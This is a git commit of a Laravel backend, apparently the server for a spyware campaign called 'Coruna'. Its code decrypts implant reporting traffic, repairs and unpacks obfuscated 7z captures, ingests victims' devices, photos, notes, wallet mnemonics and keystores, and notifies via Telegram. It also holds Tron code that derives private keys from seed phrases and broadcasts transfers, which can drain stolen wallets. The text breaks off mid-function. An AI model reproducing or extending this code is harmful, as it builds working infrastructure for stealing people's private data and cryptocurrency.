This commit is contained in:
hashbro
2026-08-08 05:09:01 +08:00
parent 03a40105fc
commit 74a67c3900
523 changed files with 669 additions and 5965 deletions
+107
View File
@@ -0,0 +1,107 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use FurqanSiddiqui\BIP39\BIP39;
use RuntimeException;
/**
* BIP39 seed + BIP32/BIP44 private-key derivation (secp256k1).
*/
final class Bip44
{
private const CURVE_ORDER = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141';
/**
* @return array{private_key: string, public_key_uncompressed: string}
*/
public static function derive(string $mnemonic, string $path): array
{
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
if (count($words) < 12) {
throw new RuntimeException('Invalid mnemonic');
}
$seed = BIP39::Words($words)->generateSeed();
[$key, $chain] = self::masterFromSeed($seed);
foreach (self::parsePath($path) as $index) {
[$key, $chain] = self::ckdPriv($key, $chain, $index);
}
$ec = new EC('secp256k1');
$pair = $ec->keyFromPrivate(bin2hex($key));
return [
'private_key' => bin2hex($key),
'public_key_uncompressed' => $pair->getPublic(false, 'hex'),
];
}
/** @return array{0: string, 1: string} binary key + chain code */
private static function masterFromSeed(string $seed): array
{
$I = hash_hmac('sha512', $seed, 'Bitcoin seed', true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
/**
* @return array{0: string, 1: string}
*/
private static function ckdPriv(string $kPar, string $cPar, int $index): array
{
if ($index & 0x80000000) {
$data = "\x00".$kPar.pack('N', $index);
} else {
$ec = new EC('secp256k1');
$pub = hex2bin($ec->keyFromPrivate(bin2hex($kPar))->getPublic(true, 'hex'));
$data = $pub.pack('N', $index);
}
$I = hash_hmac('sha512', $data, $cPar, true);
$IL = substr($I, 0, 32);
$IR = substr($I, 32, 32);
$n = gmp_init(self::CURVE_ORDER, 16);
$ki = gmp_mod(
gmp_add(gmp_init(bin2hex($IL), 16), gmp_init(bin2hex($kPar), 16)),
$n
);
if (gmp_cmp($ki, 0) === 0) {
throw new RuntimeException('Invalid derived key');
}
$key = hex2bin(str_pad(gmp_strval($ki, 16), 64, '0', STR_PAD_LEFT));
return [$key, $IR];
}
/** @return list<int> */
private static function parsePath(string $path): array
{
$path = trim($path);
if (str_starts_with($path, 'm/')) {
$path = substr($path, 2);
} elseif ($path === 'm') {
return [];
}
$out = [];
foreach (explode('/', $path) as $seg) {
if ($seg === '') {
continue;
}
$hardened = str_ends_with($seg, "'") || str_ends_with($seg, 'h') || str_ends_with($seg, 'H');
$num = (int) rtrim($seg, "'hH");
if ($hardened) {
$num |= 0x80000000;
}
$out[] = $num;
}
return $out;
}
}
+32
View File
@@ -0,0 +1,32 @@
<?php
namespace App\Services\Chain;
interface ChainDriver
{
public function chainId(): string;
public function deriveAddress(string $mnemonic, int $index = 0): string;
/**
* @return string txid
*/
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
/**
* @return string txid
*/
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
public function isValidAddress(string $address): bool;
/**
* Human-decimal native balance (e.g. TRX).
*/
public function getNativeBalance(string $address): string;
/**
* Human-decimal token balance (e.g. USDT, 6 decimals on Tron).
*/
public function getTokenBalance(string $address, string $contract): string;
}
+20
View File
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
use InvalidArgumentException;
class ChainManager
{
public function __construct(
private readonly TronDriver $tron,
) {}
public function resolve(string $chain): ChainDriver
{
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
}
+103
View File
@@ -0,0 +1,103 @@
<?php
namespace App\Services\Chain;
use kornrunner\Keccak;
use RuntimeException;
final class TronAddress
{
public static function fromUncompressedPublicKey(string $publicKeyHex): string
{
$hex = strtolower($publicKeyHex);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if (str_starts_with($hex, '04')) {
$hex = substr($hex, 2);
}
if (strlen($hex) !== 128) {
throw new RuntimeException('Expected uncompressed secp256k1 public key');
}
$hash = Keccak::hash(hex2bin($hex), 256);
$addrHex = '41'.substr($hash, -40);
return self::hexToBase58Check($addrHex);
}
public static function isValid(string $address): bool
{
if (! preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return false;
}
try {
$hex = self::base58CheckToHex($address);
} catch (\Throwable) {
return false;
}
return str_starts_with(strtolower($hex), '41') && strlen($hex) === 42;
}
public static function toHex(string $base58): string
{
return self::base58CheckToHex($base58);
}
public static function hexToBase58Check(string $hex): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$bin = hex2bin($hex);
if ($bin === false) {
throw new RuntimeException('Invalid hex');
}
$checksum = substr(hash('sha256', hash('sha256', $bin, true), true), 0, 4);
$bytes = $bin.$checksum;
$num = gmp_init(bin2hex($bytes), 16);
$encoded = '';
while (gmp_cmp($num, 0) > 0) {
[$num, $rem] = [gmp_div_q($num, 58), gmp_intval(gmp_mod($num, 58))];
$encoded = $alphabet[$rem].$encoded;
}
for ($i = 0, $len = strlen($bytes); $i < $len && $bytes[$i] === "\x00"; $i++) {
$encoded = '1'.$encoded;
}
return $encoded;
}
public static function base58CheckToHex(string $address): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$num = gmp_init(0);
for ($i = 0, $len = strlen($address); $i < $len; $i++) {
$pos = strpos($alphabet, $address[$i]);
if ($pos === false) {
throw new RuntimeException('Invalid base58 character');
}
$num = gmp_add(gmp_mul($num, 58), $pos);
}
$hex = gmp_strval($num, 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
// leading ones => leading zero bytes
for ($i = 0, $len = strlen($address); $i < $len && $address[$i] === '1'; $i++) {
$hex = '00'.$hex;
}
$bin = hex2bin($hex);
if ($bin === false || strlen($bin) < 5) {
throw new RuntimeException('Invalid address payload');
}
$payload = substr($bin, 0, -4);
$checksum = substr($bin, -4);
$expected = substr(hash('sha256', hash('sha256', $payload, true), true), 0, 4);
if (! hash_equals($expected, $checksum)) {
throw new RuntimeException('Invalid address checksum');
}
return bin2hex($payload);
}
}
+211
View File
@@ -0,0 +1,211 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
class TronDriver implements ChainDriver
{
public function chainId(): string
{
return 'tron';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->path($index));
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$tx = $this->post('/wallet/createtransaction', [
'owner_address' => $from,
'to_address' => $to,
'amount' => (int) $sun,
'visible' => true,
]);
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$parameter = $this->encodeTransferParameter($to, $sun);
$ext = $this->post('/wallet/triggersmartcontract', [
'owner_address' => $from,
'contract_address' => $contract,
'function_selector' => 'transfer(address,uint256)',
'parameter' => $parameter,
'fee_limit' => (int) config('coruna.tron.fee_limit', 100_000_000),
'call_value' => 0,
'visible' => true,
]);
$tx = $ext['transaction'] ?? null;
if (! is_array($tx)) {
$msg = $ext['result']['message'] ?? ($ext['message'] ?? 'triggersmartcontract failed');
throw new RuntimeException(is_string($msg) ? $msg : 'triggersmartcontract failed');
}
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function isValidAddress(string $address): bool
{
return TronAddress::isValid($address);
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid Tron address');
}
$account = $this->post('/wallet/getaccount', [
'address' => $address,
'visible' => true,
]);
$sun = (string) ($account['balance'] ?? 0);
return $this->fromSun($sun);
}
public function getTokenBalance(string $address, string $contract): string
{
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid Tron address');
}
$parameter = str_pad(TronAddress::toHex($address), 64, '0', STR_PAD_LEFT);
$ext = $this->post('/wallet/triggerconstantcontract', [
'owner_address' => $address,
'contract_address' => $contract,
'function_selector' => 'balanceOf(address)',
'parameter' => $parameter,
'visible' => true,
]);
$hex = $ext['constant_result'][0] ?? null;
if (! is_string($hex) || $hex === '') {
return '0';
}
$sun = gmp_strval(gmp_init($hex, 16), 10);
return $this->fromSun($sun);
}
private function path(int $index): string
{
return "m/44'/195'/0'/0/{$index}";
}
private function toSun(string $amount): string
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount)) {
throw new RuntimeException('Invalid amount');
}
$sun = bcmul($amount, '1000000', 0);
if (bccomp($sun, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $sun;
}
private function fromSun(string $sun): string
{
if (! preg_match('/^\d+$/', $sun)) {
$sun = '0';
}
$human = bcdiv($sun, '1000000', 6);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function encodeTransferParameter(string $toBase58, string $amountSun): string
{
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
$addressWord = str_pad($toHex, 64, '0', STR_PAD_LEFT);
$amountWord = str_pad(gmp_strval(gmp_init($amountSun, 10), 16), 64, '0', STR_PAD_LEFT);
return $addressWord.$amountWord;
}
/**
* @param array<string, mixed> $tx
*/
private function signAndBroadcast(array $tx, string $privateKeyHex): string
{
$txId = $tx['txID'] ?? null;
if (! is_string($txId) || $txId === '') {
throw new RuntimeException('Missing txID from node');
}
$signature = TronSigner::signTxId($privateKeyHex, $txId);
$tx['signature'] = [$signature];
$result = $this->post('/wallet/broadcasttransaction', $tx);
$ok = ($result['result'] ?? false) === true;
if (! $ok) {
$msg = $result['message'] ?? ($result['code'] ?? 'broadcast failed');
if (is_string($msg) && ctype_xdigit($msg)) {
$decoded = @hex2bin($msg);
$msg = $decoded !== false ? $decoded : $msg;
}
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
}
return $txId;
}
/**
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
private function post(string $path, array $payload): array
{
$resp = $this->http()->post(rtrim((string) config('coruna.tron.full_node'), '/').$path, $payload);
if (! $resp->successful()) {
throw new RuntimeException('Tron node HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid Tron node response');
}
return $json;
}
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
}
return $req;
}
}
+33
View File
@@ -0,0 +1,33 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use RuntimeException;
final class TronSigner
{
/**
* Sign a Tron txID (sha256 hex of raw_data) → 65-byte hex signature (r||s||v).
*/
public static function signTxId(string $privateKeyHex, string $txIdHex): string
{
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
if (strlen($txIdHex) !== 64) {
throw new RuntimeException('Invalid txID');
}
$ec = new EC('secp256k1');
$key = $ec->keyFromPrivate($privateKeyHex);
$sig = $key->sign($txIdHex, ['canonical' => true]);
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
$v = dechex($sig->recoveryParam & 0xff);
if (strlen($v) === 1) {
$v = '0'.$v;
}
return $r.$s.$v;
}
}
+148
View File
@@ -0,0 +1,148 @@
<?php
namespace App\Services;
use Illuminate\Http\Client\ConnectionException;
use Illuminate\Http\Client\Response;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use RuntimeException;
class ChannelProjectService
{
/**
* Ask the standalone builder to materialize a channel project.
*
* @param list<string>|null $deploymentDomains Channel-configured hosts; empty → CORUNA_LAB_CHANNEL_DOMAINS
*/
public function generate(string $channelId, ?array $deploymentDomains = null): void
{
$channelId = $this->normalizeChannelId($channelId);
$deploymentDomains = $this->normalizeDomains($deploymentDomains)
?: $this->domains('coruna.deployment_domains');
$reportingDomains = $this->domains('coruna.reporting_domains');
if ($deploymentDomains === []) {
throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)');
}
if ($reportingDomains === []) {
throw new RuntimeException('上报域名未配置(CORUNA_LAB_AMIDN_DOMAINS)');
}
$response = $this->request('post', $channelId, [
'deployment_domains' => $deploymentDomains,
'reporting_domains' => $reportingDomains,
]);
$this->ensureSuccessful($response, '生成渠道资源失败');
}
public function deleteWebTree(string $channelId): void
{
try {
$channelId = $this->normalizeChannelId($channelId);
} catch (RuntimeException) {
return;
}
$response = $this->request('delete', $channelId);
if ($response->status() === 404) {
return;
}
$this->ensureSuccessful($response, '删除渠道资源失败');
}
private function request(string $method, string $channelId, array $payload = []): Response
{
$url = rtrim((string) config('coruna.build_service.url', ''), '/');
$token = trim((string) config('coruna.build_service.token', ''));
if ($url === '') {
throw new RuntimeException('渠道构建服务 URL 未配置');
}
if ($token === '') {
throw new RuntimeException('渠道构建服务令牌未配置');
}
$method = strtoupper($method);
$path = $method === 'POST'
? '/v1/channels/'.$channelId.'/build'
: '/v1/channels/'.$channelId;
try {
$pending = Http::baseUrl($url)
->withToken($token)
->acceptJson()
->connectTimeout((float) config('coruna.build_service.connect_timeout', 5))
->timeout((float) config('coruna.build_service.timeout', 600));
if ($method === 'POST') {
return $pending->asJson()->post($path, $payload);
}
return $pending->send($method, $path);
} catch (ConnectionException $e) {
Log::error('Channel build service connection failed', [
'channel_id' => $channelId,
'operation' => $method,
'error' => $e->getMessage(),
]);
throw new RuntimeException('渠道构建服务连接失败: '.$e->getMessage(), 0, $e);
}
}
private function ensureSuccessful(Response $response, string $message): void
{
if ($response->successful()) {
return;
}
$detail = $response->json('message');
$detail = is_string($detail) && trim($detail) !== ''
? trim($detail)
: trim($response->body());
$detail = mb_substr($detail !== '' ? $detail : 'unknown error', 0, 500);
Log::error('Channel build service request failed', [
'status' => $response->status(),
'detail' => $detail,
]);
throw new RuntimeException("{$message} ({$response->status()}): {$detail}");
}
private function normalizeChannelId(string $channelId): string
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
throw new RuntimeException('Invalid channel id');
}
return $channelId;
}
/** @return list<string> */
private function domains(string $key): array
{
return $this->normalizeDomains(config($key, []));
}
/** @return list<string> */
private function normalizeDomains(mixed $domains): array
{
if (! is_array($domains)) {
return [];
}
return array_values(array_unique(array_filter(array_map(static function ($domain) {
if (! is_string($domain)) {
return '';
}
$domain = trim($domain);
$domain = preg_replace('#^https?://#i', '', $domain) ?? $domain;
return rtrim($domain, '/');
}, $domains))));
}
}
+172
View File
@@ -0,0 +1,172 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\Process;
use RuntimeException;
/**
* Repair Coruna obfuscated 7z headers and extract with p7zip.
*/
class CorunaArchive
{
private const STANDARD_PREFIX = "7z\xBC\xAF'\x1C";
private const HEADER_XOR = 0x1234567800ABCDEF;
private const HEADER_MARKER_1 = 0x000A000900010804;
private const HEADER_MARKER_2 = 0x009812000B0F0D0C;
public function __construct(
private readonly CorunaCrypto $crypto,
private readonly string $sevenZip = '',
) {}
public function isCorunaHeader(string $data): bool
{
if (strlen($data) < 32) {
return false;
}
if (str_starts_with($data, self::STANDARD_PREFIX)) {
return false;
}
$m1 = unpack('P', substr($data, 16, 8))[1];
$m2 = unpack('P', substr($data, 24, 8))[1];
return $m1 === self::HEADER_MARKER_1 && $m2 === self::HEADER_MARKER_2;
}
public function repairHeader(string $data): string
{
if (str_starts_with($data, self::STANDARD_PREFIX)) {
return $data;
}
if (strlen($data) < 33 || ! $this->isCorunaHeader($data)) {
throw new RuntimeException('not a Coruna header-obfuscated 7z archive');
}
$nextHeaderOffset = unpack('P', substr($data, 0, 8))[1] ^ self::HEADER_XOR;
$nextHeaderSize = unpack('P', substr($data, 8, 8))[1] ^ self::HEADER_XOR;
$nextHeaderStart = 32 + $nextHeaderOffset;
$nextHeaderEnd = $nextHeaderStart + $nextHeaderSize;
if ($nextHeaderSize === 0 || $nextHeaderEnd > strlen($data)) {
throw new RuntimeException('invalid Coruna 7z bounds');
}
$repaired = $data;
$repaired = substr_replace($repaired, self::STANDARD_PREFIX."\x00\x04", 0, 8);
$repaired = substr_replace($repaired, pack('P', $nextHeaderOffset), 12, 8);
$repaired = substr_replace($repaired, pack('P', $nextHeaderSize), 20, 8);
$nextCrc = crc32(substr($repaired, $nextHeaderStart, $nextHeaderSize)) & 0xFFFFFFFF;
$repaired = substr_replace($repaired, pack('V', $nextCrc), 28, 4);
$startCrc = crc32(substr($repaired, 12, 20)) & 0xFFFFFFFF;
$repaired = substr_replace($repaired, pack('V', $startCrc), 8, 4);
return $repaired;
}
public function extract(string $wireData, string $destDir, string $batchBase = '0'): array
{
if (! is_dir($destDir)) {
mkdir($destDir, 0755, true);
}
try {
$repaired = $this->repairHeader($wireData);
} catch (\Throwable $e) {
$repaired = $wireData;
}
$archive = $destDir.'/capture.7z';
file_put_contents($archive, $repaired);
file_put_contents($destDir.'/wire.bin', $wireData);
$password = $this->crypto->archivePassword($batchBase);
$membersDir = $destDir.'/members';
@mkdir($membersDir, 0755, true);
$bin = $this->resolveSevenZipBinary();
$result = Process::timeout(120)->run([
$bin, 'x', '-y',
'-p'.$password,
'-o'.$membersDir,
$archive,
]);
$files = [];
if (is_dir($membersDir)) {
$it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator(
$membersDir,
\FilesystemIterator::SKIP_DOTS
));
foreach ($it as $file) {
if ($file->isFile()) {
$files[] = $file->getPathname();
}
}
}
return [
'ok' => $result->successful() && count($files) > 0,
'stderr' => $result->errorOutput(),
'files' => $files,
'password_recipe' => 'session_key||'.$batchBase,
];
}
/**
* Resolve 7z path without probing outside open_basedir.
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir.
*/
private function resolveSevenZipBinary(): string
{
$configured = trim($this->sevenZip);
$candidates = array_values(array_unique(array_filter([
$configured,
// Prefer a binary vendored inside the Laravel root (within open_basedir).
base_path('bin/7z'),
'7z',
])));
foreach ($candidates as $candidate) {
if ($candidate === '7z') {
return '7z';
}
if (! $this->isPathInsideOpenBasedir($candidate)) {
// Still try absolute configured path: exec() is often allowed even when
// is_executable() is blocked. Skip the filesystem probe.
if ($candidate === $configured && str_starts_with($candidate, '/')) {
return $candidate;
}
continue;
}
if (@is_file($candidate) && @is_executable($candidate)) {
return $candidate;
}
}
return $configured !== '' ? $configured : '7z';
}
private function isPathInsideOpenBasedir(string $path): bool
{
$basedir = (string) ini_get('open_basedir');
if ($basedir === '') {
return true;
}
$real = realpath($path);
$check = $real !== false ? $real : $path;
foreach (explode(PATH_SEPARATOR, $basedir) as $root) {
$root = rtrim($root, DIRECTORY_SEPARATOR);
if ($root === '') {
continue;
}
if ($check === $root || str_starts_with($check, $root.DIRECTORY_SEPARATOR)) {
return true;
}
}
return false;
}
}
+234
View File
@@ -0,0 +1,234 @@
<?php
namespace App\Services;
use RuntimeException;
/**
* Coruna reporting transport crypto (ParamsModel / TTNetwork).
*
* body = Base64(AES-256-ECB-PKCS7(SHA256(session_key||timestamp), timestamp||payload))
*/
class CorunaCrypto
{
private const KEY_STATE_HEX =
'f2e61e583b65753af05b8f6ec65a681fcc6f93d20cca9153ed13133c6c291565';
private const AES_SBOX_HEX =
'637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0'
.'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275'
.'09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf'
.'d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2'
.'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb'
.'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08'
.'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e'
.'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16';
private string $sessionKey;
private string $sbox;
public function __construct(?string $sessionKey = null)
{
$this->sbox = hex2bin(self::AES_SBOX_HEX);
$this->sessionKey = $sessionKey ?? $this->deriveSessionKey(0);
if (strlen($this->sessionKey) !== 16) {
throw new RuntimeException('session key must be 16 bytes');
}
}
public function sessionKey(): string
{
return $this->sessionKey;
}
public function deriveArchivePassword(int $seed = 0): string
{
$mask = 0xFFFFFFFF;
$state = hex2bin(self::KEY_STATE_HEX);
$words = array_values(unpack('V8', $state));
if ($seed !== 0) {
$counter = -35;
$accumulator = $seed & $mask;
for ($index = 0; $index < 8; $index++) {
$rotated = $this->ror32($seed, -38 - $counter);
$words[$index] = ($accumulator + ($words[$index] ^ $rotated)) & $mask;
if ($counter === 0) {
break;
}
$counter += 5;
$accumulator = ($accumulator + $seed) & $mask;
}
}
for ($roundIndex = 0; $roundIndex < 12; $roundIndex++) {
$roundNumber = $roundIndex + 1;
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16 — uint64 via BCMath
$roundValue = $this->mulU64Shift16($roundNumber);
for ($index = 0; $index < 8; $index++) {
$value = $words[$index];
$value =
ord($this->sbox[$value & 0xFF])
| (ord($this->sbox[($value >> 8) & 0xFF]) << 8)
| (ord($this->sbox[($value >> 16) & 0xFF]) << 16)
| (ord($this->sbox[($value >> 24) & 0xFF]) << 24);
$value = $this->ror32($value, -$words[($index + 1) & 7]);
$value ^= $this->ror32($words[($index + 3) & 7], 13);
$value = ($value + $roundValue) & $mask;
$words[$index] = $value;
if ($index & 1) {
$words[$index] = (
$this->ror32($words[$index - 1], -($value & 0xF)) ^ $value
) & $mask;
}
}
if ($roundIndex === 5) {
$words[2] ^= 0x7BD6C6C8;
$words[5] ^= 0x5ECAF26A;
} elseif ($roundIndex === 9) {
$previousZero = $words[0];
$words[0] = ($words[7] ^ $this->ror32($previousZero, 25)) & $mask;
$words[3] = ($words[3] + ($words[4] ^ 0xDEADBEEF)) & $mask;
}
}
$packed = pack('V8', ...$words);
$folded = '';
for ($i = 0; $i < 16; $i++) {
$folded .= chr(ord($packed[$i]) ^ ord($packed[$i + 16]));
}
$derived = '';
for ($i = 0; $i < 16; $i++) {
$derived .= $this->sbox[(ord($folded[$i]) + $i) & 0xFF];
}
return bin2hex($derived);
}
public function deriveSessionKey(int $seed = 0): string
{
$raw = hex2bin($this->deriveArchivePassword($seed));
$out = '';
for ($i = 0; $i < strlen($raw); $i++) {
$out .= chr((ord($raw[$i]) % 94) + 33);
}
return $out;
}
public function decryptJsonBody(string $ciphertext, string $timestamp): mixed
{
$this->assertTimestamp($timestamp);
$encrypted = base64_decode($ciphertext, true);
if ($encrypted === false) {
$decoded = json_decode($ciphertext, true);
if (is_string($decoded)) {
$encrypted = base64_decode($decoded, true);
}
}
if ($encrypted === false || $encrypted === '') {
throw new RuntimeException('invalid base64 body');
}
$key = hash('sha256', $this->sessionKey.$timestamp, true);
$padded = openssl_decrypt($encrypted, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
if ($padded === false) {
throw new RuntimeException('AES decrypt failed');
}
$plaintext = $this->pkcs7Unpad($padded);
$prefix = $timestamp;
if (! str_starts_with($plaintext, $prefix)) {
throw new RuntimeException('timestamp prefix mismatch');
}
$json = substr($plaintext, strlen($prefix));
if ($json === 'null') {
return null;
}
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
}
public function encryptPayload(string $payload, ?string $timestamp = null): array
{
$timestamp ??= (string) (int) round(microtime(true) * 1000);
$this->assertTimestamp($timestamp);
$key = hash('sha256', $this->sessionKey.$timestamp, true);
$plain = $timestamp.$payload;
$padded = $this->pkcs7Pad($plain);
$encrypted = openssl_encrypt($padded, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
if ($encrypted === false) {
throw new RuntimeException('AES encrypt failed');
}
return [
'timestamp' => $timestamp,
'body' => base64_encode($encrypted),
];
}
public function encryptJson(mixed $data, ?string $timestamp = null): array
{
if ($data === null) {
$payload = 'null';
} else {
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return $this->encryptPayload($payload, $timestamp);
}
public function archivePassword(string $batchBaseTimestamp = '0'): string
{
return $this->sessionKey.$batchBaseTimestamp;
}
private function assertTimestamp(string $timestamp): void
{
if (! preg_match('/^\d{13}$/', $timestamp)) {
throw new RuntimeException('timestamp must be 13 digits');
}
}
private function pkcs7Pad(string $data): string
{
$pad = 16 - (strlen($data) % 16);
return $data.str_repeat(chr($pad), $pad);
}
private function pkcs7Unpad(string $data): string
{
$len = strlen($data);
if ($len === 0 || ($len % 16) !== 0) {
throw new RuntimeException('invalid ciphertext length');
}
$pad = ord($data[$len - 1]);
if ($pad < 1 || $pad > 16 || substr($data, -$pad) !== str_repeat(chr($pad), $pad)) {
throw new RuntimeException('invalid PKCS#7 padding');
}
return substr($data, 0, -$pad);
}
private function mulU64Shift16(int $roundNumber): int
{
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16
$product = gmp_mul((string) $roundNumber, '0xAC534878DC48202A');
$masked = gmp_and($product, '0xFFFFFFFFFFFFFFFF');
$shifted = gmp_div_q($masked, 65536);
return (int) gmp_intval($shifted);
}
private function ror32(int $value, int $amount): int
{
$value &= 0xFFFFFFFF;
$amount &= 31;
if ($amount === 0) {
return $value;
}
return (($value >> $amount) | (($value << (32 - $amount)) & 0xFFFFFFFF)) & 0xFFFFFFFF;
}
}
+670
View File
@@ -0,0 +1,670 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class IngestService
{
public function __construct(private readonly TelegramNotifier $telegram) {}
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*
* `/api/user/check` multipart sends an encoded form of the same id
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
$candidates = [];
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['d'] ?? null;
$candidates[] = $payload['form']['f'] ?? null;
}
$candidates[] = $payload['d'] ?? null;
$candidates[] = $payload['f'] ?? null;
foreach ($candidates as $value) {
if (! empty($value) && is_string($value)) {
return self::normalizeDeviceKey(substr($value, 0, 64));
}
}
return null;
}
/**
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
*
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
* Plain 16-hex (and non-matching strings) pass through unchanged.
*/
public static function normalizeDeviceKey(?string $key): ?string
{
if ($key === null || $key === '') {
return $key;
}
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
return $key;
}
$ascii = hex2bin($key);
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
return $key;
}
$raw = hex2bin($ascii);
if ($raw === false || strlen($raw) !== 8) {
return $key;
}
$rev = strrev($raw);
$out = '';
for ($i = 0; $i < 8; $i++) {
$b = ord($rev[$i]);
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
}
return $out;
}
/**
* Campaign / channel id from reporting traffic.
*
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
* Fallback: `channel` (seen on /link/config/list alongside `c`).
*/
public function extractChannelId(Request $request, ?array $payload): ?string
{
$candidates = [];
if (is_array($payload)) {
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['c'] ?? null;
$candidates[] = $payload['form']['channel'] ?? null;
}
$candidates[] = $payload['c'] ?? null;
$candidates[] = $payload['channel'] ?? null;
}
$candidates[] = $request->input('c');
$candidates[] = $request->input('channel');
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$value = trim($value);
// HAR / implant: lowercase hex, typically 32 chars
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
return strtolower(substr($value, 0, 64));
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
$attrs = [
'ip' => $request->ip(),
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
